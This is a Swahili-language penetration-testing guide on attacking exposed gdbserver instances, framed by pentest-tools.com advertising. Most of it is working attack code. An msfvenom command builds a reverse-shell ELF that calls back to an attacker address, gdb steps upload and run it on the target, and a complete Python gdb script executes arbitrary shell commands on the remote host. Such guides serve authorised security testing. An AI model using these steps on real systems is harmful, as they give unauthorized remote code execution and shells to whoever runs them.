Pentesting Remote GdbServer

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Mchakato wa haraka wa kutathmini udhaifu & upimaji wa kupenya. Fanya upimaji kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye upelelezi hadi ripoti. Hatubadilishi wapimaji wa kupenya - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.

{% embed url="https://pentest-tools.com/" %}

Taarifa za Msingi

gdbserver ni zana inayowezesha urekebishaji wa programu kwa mbali. Inafanya kazi sambamba na programu inayohitaji urekebishaji kwenye mfumo mmoja, inayoitwa "lengo." Mchakato huu unaruhusu GNU Debugger kuungana kutoka mashine tofauti, "mwenyeji," ambapo msimbo wa chanzo na nakala ya binary ya programu iliyorekebishwa zimehifadhiwa. Muunganisho kati ya gdbserver na mrekebishaji unaweza kufanywa kupitia TCP au laini ya serial, ikiruhusu mipangilio ya urekebishaji yenye kubadilika.

Unaweza kufanya gdbserver isikilize kwenye bandari yoyote na kwa sasa nmap haiwezi kutambua huduma hiyo.

Utekelezaji

Pakia na Tekeleza

Unaweza kwa urahisi kuunda elf backdoor na msfvenom, ipakie na uitekeleze:

# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

Execute arbitrary commands

Kuna njia nyingine ya kufanya debugger itekeleze amri zisizo za kawaida kupitia python custom script iliyochukuliwa hapa.

# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls

Kwanza kabisa unda skripti hii kwa ndani:

{% code title="remote-cmd.py" %}

#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()

{% endcode %}

Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & upenyezaji. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi wapenyezaji - tunakuza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.